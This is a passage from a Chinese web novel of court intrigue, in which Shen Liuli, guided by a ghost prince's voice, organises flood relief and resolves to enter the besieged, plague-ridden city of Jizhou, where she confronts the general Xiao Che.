当沈琉璃,带着这位新上任的“保镖”,从皇宫中走出来时,天边已经泛起了一抹鱼肚白。
尚书府的马车,早已在宫门外等候多时。
“小姐!您可算回来了!”春桃提着灯笼,一路小跑着迎了出来,当她看到沈琉璃身后的男人时,又吓得连忙躲到了自家小姐的身后。
“这位是……”
“这位是陛下亲派的,护卫我们前往灾区的魏炎,魏将军。”沈琉璃轻声介绍道。
魏炎没有说话,只是对着春桃,面无表情地点了点头。
春桃被他看得,心中一寒,小声地嘀咕道:“小姐,我怎么觉得,他长得比咱们府里的石狮子还凶?”
春桃的嘀咕声,在清晨寂静的街道上显得格外清晰。
魏炎脸上的表情没有任何变化,只是眼角的余光朝着春桃的方向瞥了一下,便让她吓得连忙把脑袋缩回了车厢里,再也不敢多言。
马车内,气氛压抑得可怕。
“小姐,我们……我们真的要去揽月楼吗?”春桃怯生生地问道,她偷偷地透过车帘的缝隙看了一眼外面的“石狮子”,只觉得浑身的汗**都竖了起来,“他不会一直跟着我们吧?”
“陛下有旨,他自然会寸步不离。”沈琉璃靠在软垫上,闭目养神,声音里却听不出半分情绪。
“哼,何止是寸步不离?”君北玄的声音,在她脑海中响起,“这个魏炎,是皇帝手中最锋利的一把刀,也是最忠诚的一条狗。他现在跟着你,名为保护,实为监视。从现在起,你的每一个动作,每一句话,都会一字不落地传回御书房。你最好小心一点,别被他抓住了什么把柄。”
“王爷,您不觉得,有时候,最忠诚的狗,也最容易被骨头收买吗?”沈琉璃在心里,平静地回应。
“天真!”君北玄毫不留情地反驳,“你以为皇帝的刀,是寻常的骨头就能收买的?本王告诉你,这种从尸山血海里爬出来的人,他们信的从来都不是金钱和利益,他们信的只有皇权!你想策反他?简直是痴人说梦!”
“我自然没想过要策反他。”沈琉璃继续说道,“我只是想让他亲眼看看,这乾国的天,到底有多黑。有时候,最坚固的忠诚,并非牢不可破,只是缺了一道足以让其崩塌的裂缝罢了。”
君北玄没有再说话,但他那焦躁的灵魂,却因为沈琉璃这番话,而稍稍安定了些。
……
半个时辰后,揽月楼,顶层密室。
早已在此等候的忠叔和张启年,在看到跟在沈琉璃身后的魏炎时,脸色皆是猛地一变。
张启年那只握着茶杯的手,更是不易察觉地紧了紧,周身那股属于军人的肃杀之气,瞬间弥漫开来。
魏炎没有理会他们的敌意,他只是如同雕塑一般,站在沈琉璃的身后。
“都坐吧。”沈琉璃的声音,打破了这片凝重的气氛。
她走到主位上坐下,亲自为魏炎倒了一杯茶。
“魏将军,”她看着他,说道,“接下来我们要商议的,是关于此次赈灾的具体事宜。此事也同样是奉了陛下之命,想来,将军应该不会介意旁听吧?”
她巧妙地将“家事”变成了“公事”,让魏炎找不到任何一个可以回避的理由。
“不敢。”魏炎的回答,简单直接。
“很好。”沈琉璃点了点头,她不再看他,而是将目光,投向了在场的所有人。
“忠叔,”她将目光投向了忠叔,“都城内外的粮食,都已按计划收购妥当。接下来,我需要你,将这些粮食分作两批。”
“第一批,留在揽月楼,每日开仓放粮,赈济都城内那些,因为粮价飞涨而食不果腹的贫民。记住,声势要大,要让全天下的人都知道,我沈家在为陛下分忧。”
“至于这第二批嘛……”她继续说道,“我需要你,将它泄露给那些,早已对我们虎视眈眈的‘
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朋友’们。”
“小姐的意思是……”忠叔的心,猛地一跳!
“没错。”沈琉璃点了点头,“我要让他们知道,我揽月楼的粮仓里,还藏着一批,足以让他们眼红的‘肥肉’。我要让他们,自己送上门来。”
“张将军,”她的目光,又转向了那个,从始至终都一言不发的男人,“陆风将军和顾先生,想必已经带着第一批粮草出发了。但光有那些,还远远不够。二皇子封锁漕运,我需要你,为我们开辟出一条全新的陆路,一条只有你和你麾下旧部才知道的秘密粮道。”
“此事,事关重大。不仅关系到灾区数万灾民的性命,更关系到三殿下的前程。”她看着张启年说道,“我将揽月楼所有的护卫力量都交给你调配,我只要一个结果。”
“末将,遵命!”张启年站起身,对着沈琉璃,重重一抱拳。
站在一旁的魏炎,在听到沈琉璃这番有条不紊的部署时,严重也闪过了一抹不易察觉的惊讶。
就在沈琉璃,紧锣密鼓地布局的时候。
一名负责情报的狼卫,忽然神色凝重地疾步而入!
“主公!”他单膝跪地,将一封用火漆封口的密信,呈了上来,“‘四海商盟’那边,有紧急情报!”
沈琉璃的心,猛地一紧。
她接过密信,将其展开。
信,是红夫人亲笔所写。
信上的内容很简单,却足以让任何人都感到不寒而栗。
“‘龙血玉珊瑚’的线索,已现。”
“就在,济州城。”
济州城?!
那个早已被二次决堤的洪水,围成了一座孤岛,城内瘟疫横行,民不聊生的……
人间地狱?!
“好一招‘借刀**’!”君北玄在她脑中,冷冷地说道,“安王那个老狐狸,他这是在逼你去送死!”
沈琉璃看着手中这封信,心中掀起了滔天巨浪。
她当然知道,这是一个陷阱。
一个由安王,为她布下的必杀之局!
可她也同样知道,自己已经没有选择了。
因为,济州城内,不仅有她要找的“龙血玉珊瑚”。
更有,那个早已被洪水围困了数日的表哥,李琰!
“不行!”张启年第一个站了出来,眼中充满了决然,“主公!济州城如今,早已是龙潭虎穴!城内乱民四起,三教九流鱼龙混杂,甚至可能还隐藏着安王的死士!您万万不可亲身涉险!”
“那你说怎么办?!”春桃也急了,眼泪都快掉了下来,“难不成,就眼睁睁地看着三殿下,被活活困死在里面吗?!”
整个密室,都因为这个突如其来的变故,而陷入了剧烈的争吵。
唯有沈琉璃和魏炎,没有说话。
许久,沈琉璃才缓缓地从座位上站了起来。
“不必再争了。”
她走到舆图前,指尖在被红线圈起来的“济州城”上,重重一点!
“传我的令!”她坚定地说道,“三日后,我们……”
“——亲赴济州!”
第104章 最后的希望
第一个站起来反对的,是张启年。
“主公,三思!”他那张饱经风霜的脸上写满了凝重,“济州城如今早已是人间地狱,城内洪水未退,瘟疫横行,再加上安王那个老狐狸布下的天罗地网,您这一去,便是龙潭虎穴,九死一生!”
“张将军说的是!”春桃早已是泣不成声,她死死地抓着沈琉璃的衣袖,“小姐,咱们不去行不行?三殿下吉人自有天相,他一定会没事的!您可不能拿自己的性命去冒险啊!”
就连一向沉稳的忠叔,也忍不住开口劝道:“小姐,张将军所言极是。您如今是我们所有人的主心骨,万万不可亲身涉险啊!”
“都闭嘴!”
一声充满了决断力的暴喝,忽然从沈琉璃的口中发出。
她缓缓地站起身,目光扫过在场每一个人的脸。
“你们以为,我们还有退路吗?”她的声音不大,“济州城内,被困的不仅仅是表哥,更是我沈家,乃至我们所有人的最后一线生机!”
“二皇子与四海商盟勾结,断绝漕运;安王在背后散播谣言,煽动民怨;陛下则在宫中冷眼旁观,坐山观虎斗。他们所有人都想看到的,是我们在这场洪水中,被活活耗死!”
“我们若是退了,那便正中他们的下怀!”
她这番话,掷地有声,将在场所有人都给镇住了。
“好,说得好!”君北玄的声音,在她脑海中响起,“一个合格的统帅,在任何时候,都不能失去战斗的勇气。不过,光有勇气还不够,你还需要一个周密的作战计划。”
“王爷,”沈琉璃在心里,苦笑一声,“您觉得,在眼下这种局面,任何周密的计划,还有用吗?”
“自然有用!”君北玄的声音,掷地有声,“兵法有云,敌强我弱时,当避其锋芒,攻其不备!安王既然敢在济州城为我们布下陷阱,就说明,那里必然有他最不想让我们看到的东西!而那个东西,便是我们反败为胜的唯一机会!”
君北玄的这番话,如同一道闪电,瞬间照亮了沈琉璃那颗,因为迷茫而有些混乱的心。
她站起身,不再有半分犹豫。
“忠叔!”
“老奴在!”
“立刻!将‘清瘟解毒散’装车!我要你,在明日天亮之前,将这些药,连同我们最后一批粮食,都给我送到城外的‘白马寺’!”
“白马寺?”忠叔一愣。
“没错。”沈琉璃点了点头,“那里,将是我们的中转站。”
“另外,立刻用飞鹰传书,联系顾先生和陆风将军,告诉他们计划有变!”
她快步走到舆图前,指尖在“济州城”上,重重一点!
“告诉顾先生,不必再演戏了。我需要他,立刻带上一半的药材,用最快的速度赶往济州城外围,配合三殿下,建立防疫线。我要让所有人都知道,能救这场瘟疫的只有我揽月楼!”
“告诉陆风将军,”她的声音,变得无比冰冷,“放弃原定的运粮路线!我需要他,亲率二十名狼卫精锐,轻装简行,秘密潜入济州城!他的任务只有一个,找到三殿下,不惜一切代价,护他周全!”
“张将军!”她的目光,最后落在了那个若有所思的男人身上。
“末将在!”
“陆将军他们离开后,剩下的粮草和护卫,便都交由你来负责。”沈琉璃看着他,坚定地说道。
……
三日后,一支由数十辆马车组成的“商队”,在金吾卫指挥使魏炎的护送下,缓缓地驶出了乾国都城的南门。
车队一路向南,晓行夜宿,看似与寻常的商队无异。
可所有人都不知道的是,这支车队的真正目的地,并非什么江南水乡。
而是那座,早已被洪水围困了数日,生死未卜的人间地狱,济州城!
越是靠近灾区,道路便越是泥泞难行。空气中,也开始弥漫着一股古怪的气味。
道路两旁,随处可见,那些因为洪水而流离失所的灾民。他们面黄肌瘦,衣衫褴褛,眼中早已没了半分生气。
春桃看不下去,好几次都想让车夫停下,将车上的干粮分给那些可怜人,却都被沈琉璃一个眼神给制止了。
“小姐!您怎么能……”
“闭嘴!”沈琉璃低喝一声,声音里充满了前所未有的严厉,“你现在给他们一块饼,或许能让他们多活一日。可你有没有想过,我们这区区几十车粮草,对于数万灾民而言,不过是杯水车薪!一旦让他们知道,我们车上装的是粮食,你觉得,会是什么后果?”
春桃被她问得,哑口无言。
“战场上,最忌讳的便是这种,毫无意义的同情心。”君北玄在她脑中,冷冷地说道,“我们现在要做的,不是去当什么救苦救难的活菩萨。而是要,用最快的速度,抵达济州,找到破局的关键!”
沈琉璃没有理会他的说教,她只是,缓缓地掀开车帘的一角,看着窗外那些,在泥泞中挣扎的生命,那双清澈的眼眸中,闪过了一抹,极其复杂的情绪。
有不忍,有悲悯,但更多的是一种前所未有的坚定。
……
终于,在第五日的傍晚,一座被滔天洪水围困的孤城,出现在了他们的眼前。
那便是,济州城。
城墙上,早已是残垣断壁,城内,更是听不到半分人声,只有一股股黑色的浓烟,冲天而起,在阴沉的天色下,显得格外诡异。
“看来,我们来晚了。”魏炎看着眼前这座城池,沉声说道。
“不,”沈琉璃摇了摇头,“好戏,现在才刚刚开始。”
她将目光,投向了城门的方向。
只见在城门上,不知何时,竟多了一面,迎风招展的黑色大旗!
旗上,没有绣任何代表皇权的图腾。
只有一朵,在佛光普照之下,悄然绽放的黑色莲花!
“黑莲佛印……”魏炎看着那面大旗,脸上露出了几分凝重,“看来,城里的情况,比我们想象中还要复杂。”
“将军认得此物?”沈琉璃的心,猛地一紧。
“不认得
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。”魏炎摇了摇头,“但,我知道这股味道。”
他说着,竟缓缓地闭上了眼睛,鼻翼微微翕动,像一头在辨认猎物气息的野兽。
“血腥味,腐臭味,还有一股,只有在南疆的瘴气林里,才能闻到的‘烂骨草’的味道。”他缓缓地睁开眼,“城里不仅有瘟疫,还有人在用毒。”
“好一招‘釜底抽薪’。”君北玄在她脑中,冷冷地说道,“安王那个老狐狸,他这是要将整个济州城,都变成一座,为他陪葬的死城啊!”
沈琉璃没有说话,她只是死死地攥着拳头。
……
是夜,济州城外,临时搭建的营地内,篝火熊熊,却驱不散那股刺骨的寒冷。
沈琉璃正对着一张济州城的舆图,与众人商议着进城的对策。
“不行!强攻绝对不行!”张启年的声音,沉稳而决绝,“济州城如今,早已是三面环水,只有一条陆路可通。城内情况不明,我们这点人手,一旦进去,便如同瓮中之鳖,有去无回!”
“那你说怎么办?!”春桃早已是急得六神无主,“难不成,就眼睁睁地看着三殿下,被活活困死在里面吗?!”
“此事,确实棘手。”一直沉默不语的魏炎,也难得地开了口,“我的人回报,城内的守军,似乎都已换成了安王的私兵。他们占据了城墙上所有的制高点,弓上弦,刀出鞘,摆出了一副,要与我们决一死战的架势。”
“一群乌合之众罢了。”君北玄在她脑中,不屑地说道,“若是本王在此,只需三千铁骑,一个时辰内,便能将这座破城,给夷为平地!”
“王爷,您说的轻巧。”沈琉璃在心里,有气无力地回敬了一句,“您现在连三千个纸人都变不出来。”
她没有再理会那个只会说风凉话的鬼王爷,而是将目光,投向了陆风。
“陆风。”
“属下在。”
“我需要你,今夜三更,亲率二十名狼卫精锐,从城西的水路,秘密潜入城中。”
“什么?!”君北玄在她脑中,第一个提出了反对,“沈琉璃,你疯了吗?!水路虽然隐蔽,却也同样是最危险的地方!安王既然敢在城中设伏,又岂会想不到,在水下布防?!”
“王爷,”沈琉璃在心里,平静地回应,“这叫‘投石问路’。安王想让我们看到的,是一座固若金汤的死城。”
“陆将军,”她看着陆风,说道,“你此行的任务,不是去救人,也不是去**。”
“我要你,替我去看清楚。”
“这座城里,到底还藏着一座,什么样的城。”
子时,夜最深沉的时候。
二十道黑影,如同离弦之箭,悄无声息地,从岸边的芦苇丛中滑出,融入了冰冷的河水中。
陆风和他手下的狼卫,如同幽灵一般,在水下潜行。
河水冰冷刺骨,可他们却像是感觉不到一样。很快,他们便抵达了济州城的城墙下。
正如君北玄所料,水下,早已被安王的人,布下了天罗地网!
第105章 城中之城
无数的铁蒺藜和渔网,如同水草在河床上摇曳。稍有不慎,便会被缠住手脚,葬身鱼腹!
可这些,对于早已在北境冰河中,训练过无数次的狼卫而言,不过是些,上不得台面的小把戏。
他们如同灵巧的游鱼,悄无声息地避开了所有的陷阱,最终,从一处被洪水冲垮的下水道口,成功地潜入了城中!
城内,与他们想象中的哀鸿遍野,截然不同。
街道之上,虽然也随处可见,因为洪水而留下的淤泥和残骸。可空气中,却并没有他们想象中的腐臭,反而弥漫着一股,极其浓郁的药味。
更让他们感到奇怪的是,整个济州城,竟是出奇地安静。
没有哭声,没有喊杀声,甚至连一声,寻常的犬吠都听不到。
仿佛,这座城里,早已没有了活人。
“不对劲。”陆风对着身后的狼卫,打了一个手势,示意他们提高警惕。
他们贴着墙壁的阴影,在寂静的街道上穿行。很快,他们便发现了,这座“鬼城”的秘密。
只见在城西的一处广场上,竟搭建了数千顶,一模一样的白色帐篷!
无数身着白色麻衣,脸上蒙着面巾的“灾民”,正如同行尸走肉一般,在帐篷之间穿行。
他们的动作,整齐划一,眼神麻木,看起来不像是活人,倒更像是一群,早已被抽去了灵魂的傀儡!
而在广场的正中央,则搭建了一座,如同祭台一般的高台!
高台上,数十名身着黑色僧袍,脸上戴着恶鬼面具的僧人,正手持法器,口中念念有词,仿佛在举行着某种,极其诡异的仪式!
而在他们的脚下,则堆放着,小山一般的粮食与兵器!
“**!”
当陆风,将城中的见闻,通过飞书送回沈琉璃的案头时。
远在百里之外的顾九,第一个没忍住,当场便骂了出来!
“这个安王,他简直是疯了!他这是要**啊!”
“他不是在**。”君北玄的声音,在她脑中响起,冰冷得不带任何感情,“他是在炼兵。”
“炼兵?”
“没错,本王曾在北境的古籍上看过。”君北玄的声音里,带上了几分凝重,“南疆有一种,早已失传了上百年的巫蛊之术,名为‘黑莲炼狱’。”
“此术,便是以瘟疫为引,辅以特制的迷香和药物,将活人,炼制成一种悍不畏死,只知杀戮的‘兵人’!”
“而济州城,便是他为自己,准备的第一座‘炼狱’!”
君北玄的这番话,让在场所有人的心,都沉入了谷底!
他们怎么也没想到,那个终日礼佛,慈悲为怀的安王,竟会是一个如此丧心病狂的魔鬼!
“那……那我们现在该怎么办?”春桃的声音里,充满了绝望,“这简直就是一个死局啊!”
是啊,怎么办?
所有人的目光,都聚焦在了那个,从始至终都一言不发的少女身上。
“顾先生,”
许久,沈琉璃才缓缓开口。
她的脸上,没有半分被逼入绝境的慌乱。
“您之前不是一直抱怨,说您那‘清瘟解毒散’,没有用武之地吗?”
“现在,机会来了。”
她站起身,走到舆图前。
“传我的令!”她继续说道,“三日后,我们以毒攻毒!”
“不行!绝对不行!”顾九说道,“主公!您这不是去救人,您这是去送死!那‘黑莲炼狱’乃是南疆失传了上百年的禁术,歹毒异常!别说是您,便是王爷亲率大军前来,也未必能讨到半分好处!”
“顾先生说的是!”春桃早已是泣不成声,她死死地抓着沈琉璃的衣袖,“小姐,咱们不去行不行啊!”
就连皇上派来的保镖魏炎,此刻也忍不住开口劝道:“大小姐三思!末将的职责,是保护您的周全。此等险地,末将恕难从命!”
“都闭嘴!”
一声暴喝,忽然从沈琉璃的口中发出。
她缓缓地,扫过在场每一个人的脸。不再有半分犹豫,对着在场的所有人,下达了指令!
“魏将军!”
“末将在!”
“我需要你,立刻带上金吾卫,封锁济州城所有通往外界的陆路!一只苍蝇,也不许给我放出去!”
“大小姐的意思是……”魏炎的心,猛地一跳!
“没错。”沈琉璃点了点头,“安王想瓮中捉鳖,那我们便如他所愿。”
“我要将这座济州城,变成一座,真正的孤岛!”
“顾先生!”她的目光,又转向了那个酒鬼神医。
“在……在呢。”
“我需要你,带上‘清瘟解毒散’,在城外的灾民营地里,设下百座粥棚,千座医庐!”
“什么?!”顾九指了指自己的鼻子,“主公,您没开玩笑吧?小爷我这身子骨,还没好利索呢!您就让我去当活菩萨?”
“我自然知道,你救不了所有的人。”沈琉璃继续说道,“所以,我才更需要你,去那里,为我筛选出,一支能为我们所用的‘军队’!”
“我要让所有人都知道,能救他们性命的,不是高高在上的皇权,也不是虚无缥缈的神佛!”
“而是我沈琉璃,以及我手中的粮食与药!”
……
就在沈琉璃,在济州城外,紧锣密鼓地布局的时候。
千里之外的都城,宗人府,一座阴暗潮湿的地牢内。
被废黜了太子之位的李裕,正披头散发地,被铁链牢牢地锁在墙上。他的身上,早已没了半分往日的尊贵,只有一股,如同丧家之犬般的颓败。
“殿下,”一名身着太监服饰的老者,悄无声息地出现在了他的面前,“皇后娘娘让老奴,给您带了些东西来。”
他说着,便将一个食盒,放在了地上。
李裕没有理他,只是将头埋得更深了些。
“殿下,娘娘说了,胜败乃兵家常事。”那老太监叹了口气,缓缓说道,“只要人还在,便总有东山再起的机会。”
他将食盒的夹层打开,从里面取出了一封用蜜蜡封好的信和一瓶看起来再寻常不过的金疮药。
“这是,安王殿下托老奴,转交给您的。”他压低声音道,“他说,他的人,早已在外面,为您安排好了一
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切。”
“只要您点头,三日之内,便可让您重获自由。”
李裕的身体,猛地一震!
他缓缓地抬起头,眼神在这一刻,竟重新燃烧起了,充满野心的火焰!
他知道,自己虽然输了。
可这场游戏,还远远没有结束!
……
与此同时,另一场无声的较量,也正在济州城内,悄然上演。
顾九在城外的灾民营地里,将活菩萨的戏码,演得风生水起。
他不仅每日开仓放粮,舍药救人,更是凭借着自己的三寸不烂之舌,将安王“草菅人命,意图炼兵”的“真相”,添油加醋地传遍了整个灾民营。
一时间,民怨沸腾,群情激奋!
无数的灾民,都将安王,视为了不共戴天的仇人!
而就在这片混乱中,顾九也终于,在一处被洪水淹没的破庙里,找到了能暂时压制“黑莲佛印”之毒的解药。
那是一株,生长在佛像底座,早已绝迹了上百年的‘佛顶珠’。
他立刻派人,将这救命的神药,秘密地送往了江南。
他知道,只有这样,才能让那位手握重兵的将军,彻底地斩断所有退路,成为他们手中,最锋利的一把刀!
而就在所有人的注意力,都被吸引在城外的时候。
一个意想不到的人,却悄无声息地抵达了济州城。
那是一个,身着黑色重甲,脸上带着一道狰狞刀疤的男人。
正是萧彻!
当萧彻的身影,踏入济州城这潭早已浑浊不堪的死水时,一场谁也无法预料的变故,正式拉开了帷幕。
他就这么一个人,一匹马,一柄刀,如同一尊来自地狱的修罗,出现在了早已被洪水围困的孤城外。
他的出现,瞬间打破了,由顾九营造出的“军民对峙”的微妙平衡。
“**!”
临时搭建的医庐内,顾九看着这个,骑在马上,正居高临下地打量着自己的男人,忍不住低声咒骂了一句,“君怀瑾那个笑面虎,到底是怎么想的?!他派这么一头疯狼过来,是生怕这潭水,还不够浑吗?!”
“此人,便是萧彻。”一旁的柒,脸上露出了几分凝重,“三年前,在‘黑石关’下,曾亲手斩杀过我们三百多名弟兄的叛将!”
他的声音里,带上了几分无法抑制的恨意。
“我知道。”顾九点了点头,“主公有令,静观其变。我倒要看看,这条被放出来的疯狗,到底想咬谁。”
……
萧彻没有理会那些,对他怒目而视的灾民,也没有去看那些,对他充满了警惕的亲兵。
他的目光,只是平静地扫过眼前这片“军营”。
他虽然不懂医理,却在北境的尸山血海中,磨炼出了如同野兽般的直觉。
他能清晰地闻到,空气中那股,若有若无的血腥味和那股只有在**堆里,才能闻到的腐臭。
他也同样能看到,那些灾民眼中的麻木。
“演戏。”
他缓缓地吐出了这两个字,然后,没有再做任何停留。双腿一夹马腹,径直朝着那座死亡之城,缓缓行去。
第106章 二皇子的信
与此同时,另一场无声的较量,也在千里之外的都城,悄然上演。
二皇子府,书房。
当李昭从他安插在各处的眼线那里,得知萧彻已经抵达济州城的消息时,他的脸上,也露出了几分凝重的神情。
“君怀瑾……”他喃喃自语,声音里充满了困惑,“他到底想做什么?我乾国内部生乱,他这个大徽太子,这个时候派这么一条疯狗过来,搅这趟浑水?”
“殿下,”他的心腹幕僚看着他这副模样,忍不住开口劝道,“依老臣之见,大徽太子此举,或许是醉翁之意不在酒。他明面上是派萧彻来查案,实则是想借此机会,向我们乾国朝堂施压,为他那个还未过门的太子妃撑腰。”
“为沈琉璃撑腰?”李昭笑了笑,“他还不配。”
他说着,便将目光,投向了挂在墙上的乾国舆图。
“传孤的令,”他缓缓开口,“去将我们的人,都给孤安排下去。”
“告诉红夫人,孤送她的那份‘大礼’,想必她已经收到了。”
“现在,也该轮到她,为孤送上一份‘回礼’了。”
他知道,自己不能再等了。
他必须在萧彻这头疯狼,将济州城的水彻底搅浑之前,将所有的主动权,都牢牢地握在自己的手上!
……
三日后,一封由“四海商盟”送出的密信,悄无声息地来到了,正在济州城外“坐镇指挥”的沈琉璃手中。
信,是二皇子李昭亲笔所写。
信上的内容很简单,却足以让任何人都感到不寒而栗。
他用一种关心的语气,向沈琉璃,提出了一个微不足道的请求。
他听闻,揽月楼的“清瘟解毒散”有活**,肉白骨之奇效。
他府中,有一位远房的表妹,近日不幸染上了风寒,久治不愈。
他恳请,沈琉璃能派一位“神医”,携此神药,前往都城,为他那位可怜的表妹,诊治一二。
而在信的末尾,他还无意中,提了一句。
“……听闻,大徽的那位萧彻将军,也已抵达济州。此人,性情暴虐,非我族类。表妹此行,还需多加小心,莫要被虎狼所伤啊。”
这哪里是请求?
这分明就是,最直接的威胁!
他在告诉沈琉璃,你的所有把戏,我都已看穿。
你的那位“神医”也该回来了,否则,你和你的表哥,会落得一个什么样的下场,便由不得你了。
“**!”
当沈琉璃,将这封信,传阅给众人时。
顾九,第一个没忍住,当场便骂了出来!
“这个李昭,他简直是欺人太甚!他这是在拿三殿下的命,要挟我们啊!”
“主公!”一旁的柒,也忍不住开口,眼中充满了杀意,“末将愿亲率狼卫,潜入都城!将此獠,就地格杀!”
“不行!”张启年立刻反驳道,“二皇子府如今,必然是戒备森严,高手如云!你们这点人手一旦进去,便如同泥牛入海,有去无回!”
整个营帐,都因为这封突如其来的战书,而陷入了慌乱。
“都闭嘴!”
一声充满了决断力的暴喝,忽然从沈琉璃的口中发出。
“你们以为,我们还有退路吗?”她继续说道,“从我们踏入这片土地的那一刻起,我们便早已是,棋盘上的棋子了。”
“二皇子想让我回去,安王想让我进去,陛下则在天上看着。他们所有人都想看到的,是我们在这潭泥沼里苦苦挣扎,自相残杀。”
“可他们却忘了,”她的眼中,迸发出前所未有的光芒,“有时候,棋子也是会掀翻棋盘的!”
“他这不是在要挟我们。”她看着手中那封信,说道,“他是在试探我们的底线,也是在逼我们做出选择。”
“选择?”
“没错。”沈琉璃点了点头,她走到舆图前,指尖在那座代表着都城的标记上,轻轻一点,“他要看看,在我心中,是我表哥的命重要,还是我好不容易才建立起来的声望更重要。”
“他赌我不敢回去,也不舍得让顾先生回去。因为一旦我们走了,这灾区的烂摊子便无人收拾,我们之前所有的努力都将付诸东流。”君北玄的声音在她脑中响起,“他这是在逼你自断臂膀!”
“王爷,”沈琉璃在心里,平静地回应,“您说的对,但他算错了一件事。”
“什么?”
“他以为,我只有顾先生这一张牌可打。”沈琉璃笑了笑,“可他却不知道,我手上,还藏着一张,能让他永不翻身的王牌。”
她随即转头对魏炎说道:“魏将军!”
“末将在!”
“我需要你,以‘护送神医回京,为皇室宗亲诊病’的名义,即刻启程!”
“什么?!”顾九第一个跳了起来,“主公!您真要让小爷我回去啊?!我……”
“我自然不会让你回去。”沈琉璃打断了他,她从怀中取出了一块令牌,交到了魏炎的手中,“这是揽月楼的令牌,你拿着它去白马寺。那里,早已有一位我重金请来的‘神医’等候多时了,你只需将他‘护送’回京即可。”
魏炎看着手中的令牌,又看了看沈琉璃,脸上露出了几分困惑。
“至于顾先生你……”沈琉璃的目光,又转向了顾九,“‘瘟疫’的戏,还要继续唱下去。我要你,在三日之内,将‘清瘟解毒散’的药效,传遍整个灾区!”
“张将军!”她的目光,最后落在了张启年身上。
“末将在!”
“秘密粮道,不可中断!我需要你,在三天内,将最后一批粮食,安然无恙地送到三殿下的手上!”
“遵命!”
“至于我……”沈琉璃深吸一口气,“我要亲自,走进这座城!”
反对和劝阻的声音渐渐平息,取而代之的,是一种风暴来临前,令人窒息的寂静。
顾九不再唉声叹气,他只是默默地将自己药箱里所有的金疮药和解毒丹,都塞给
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了即将随行的春桃。
张启年则将舆图上,每一条通往济州城的小路、每一处可能藏匿的据点,都为沈琉璃一一剖析。
夜,渐深。
营帐内,只剩下沈琉璃和春桃二人。
春桃正手脚麻利地,为自家小姐收拾着行囊。
她没有再哭,只是那双早已红肿的眼睛,说明了她此刻心中的恐惧。
“小姐,”她将一件厚实的狐裘披风叠好,放入包袱,小声地说道,“外面又下雪了,您多带一件衣裳吧。”
“好。”沈琉璃点了点头,她走到春桃的身边,伸出手,轻轻地为她理了理鬓边,那几缕被寒风吹乱的碎发。
“怕吗?”
“不怕!”春桃挺了挺小胸脯,嘴硬道,“奴婢只是怕您冷。”
“傻丫头。”沈琉璃笑了笑,将她揽入怀中,“放心,我们不会有事的。”
她虽然嘴上这么说,可她那颗,因为紧张而剧烈跳动的心,却怎么也无法平复。
“怕,就对了。”
君北玄的声音,在她脑海中响起,没有半分嘲讽,只有一种,属于过来人的平静。
“战场上,只有两种人不怕死。一种是傻子,另一种是疯子。”他缓缓说道,“你既不是傻子,也不是疯子。所以,你会害怕是正常的。”
“王爷,”沈琉璃在心里,苦笑一声,“您这是在安慰我吗?”
“安慰?”君北玄嗤笑一声,“本王只是在告诉你,如何活下去。”
“你今夜要进入的是一座死城,城内,不仅有安王布下的天罗地网,更有数万,早已失去了理智的乱民。他们,远比军队更要可怕。”
“记住,”他的声音,变得无比凝重,“进入城中后,第一件事,不是去找你那个没用的表哥,也不是去寻什么‘龙血玉珊瑚’。而是要找到一个,绝对安全的据点!”
“济州城虽然残破,但城中的府衙、粮仓、以及那些高门大户的府邸,其墙体必然比寻常的民房要坚固得多。那里,将成为我们的立足之地。”
“第二,不要相信任何人。”他继续说道,“在绝境中,人心远比洪水猛兽,更要可怕。你手中的粮食和药,既是救命的稻草,也是催命的符咒。一旦暴露,你便会成为所有人,攻击的目标!”
“至于那第三嘛……”君北玄顿了顿,声音里带上了一股狠戾,“便是那个,早已在城中,等着你的‘疯狼’萧彻!”
“此人,是我一手提拔起来的,我比任何人都清楚他的打法。他就像一头真正的野狼,极具耐心,擅长伪装,总能在一个你最意想不到的时候,发动最致命的一击!”
“你与他周旋,切记,不可被他的言语所激,更不可与他正面硬刚!你要做的,是比他更疯,更不按常理出牌!”
君北玄的这番话,在沈琉璃的脑海中,缓缓展开。
她那颗因为恐惧而有些混乱的心,也渐渐地安定了下来。
是啊,她不是一个人。
第107章 死亡之城的“守门人”
子时,夜最深沉的时候。
一场纷纷扬扬的大雪,将整个天地,都染成了一片素白。
沈琉璃带着春桃和张启年,乘坐着一辆最寻常不过的青布马车,缓缓地朝着那座死亡之城,驶了过去。
“你疯了吗?!”君北玄在她脑中,提出了反对,“你这是在自投罗网!”
“王爷,”沈琉璃在心里,平静地回应,“有时候,最出其不意的进攻,就是最好的防御。”
马车,在距离城门还有百步之遥的地方,停了下来。
城门上,数十名身着黑衣的守卫,早已是弓上弦,刀出鞘,将他们视为了不共戴天的仇人。
然而,沈琉璃却没有半分退缩。
她缓缓地掀开车帘,走下了马车。
她的身后,春桃提着一盏小小的灯笼,那微弱的光,在漫天风雪中,显得是那么的渺小。
而随行的张启年,按在刀柄上的手,早已是青筋暴起。
就在此时,一个懒洋洋的声音,忽然从城门下的废墟中,响了起来。
“沈大小姐,别来无恙啊。”
只见一个脸上带着狰狞刀疤的男人,正坐在一堆被烧成了焦炭的瓦砾上,手中拿着一个半旧的酒葫芦,有一口没一口地喝着。
在他的身旁,还燃着一堆小小的篝火。火光,映照出他那张,早已失去了任何感情的脸。
他竟然在这里,等着她!
“萧将军,”沈琉璃看着他,脸上露出了一个惊讶的表情,“您怎么会在这里?”
“太子殿下说了,他送给沈大小姐的‘礼物’,似乎还未送到。”萧彻笑了笑说道,“我这个做下人的,自然要在这里,亲眼看着,大小姐将这份‘薄礼’,收入囊中啊。”
他说着,便将目光,投向了济州城。
“大小姐,”他笑着问道,“您说,这城里到底有什么好东西,竟能让您,不惜以身犯险,也要闯上一闯呢?”
“将军说笑了。”沈琉璃摇了摇头,“我不过是,奉了陛下之命,前来为三殿下,送些粮草罢了。”
“是吗?”他缓缓地站起身,一步一步地,朝着沈琉璃,逼近了过来,“可我怎么听闻,城里不仅有你那位,自身难保的表哥。”
“更有,一件能让整个乾国都为之疯狂的‘宝贝’呢?”
“那株,能让你在乾国一步登天,名为‘龙血玉珊瑚’的神物?”
这句话,如同一道惊雷,在沈琉璃的脑海中炸响!
他……他竟然连这件事都知道?!
“你……你胡说!”沈琉璃的脸上,终于露出了惊慌的表情。
“我胡说?”萧彻笑了,他走到沈琉璃的面前,居高临下地看着她!
“沈琉璃!”他的声音,陡然拔高,“你以为,你那些上不得台面的小把戏,真的能骗过所有人吗?!”
“你以为,你与君北玄那个叛徒,在乾国所做的这一切,都神不知鬼不觉吗?!”
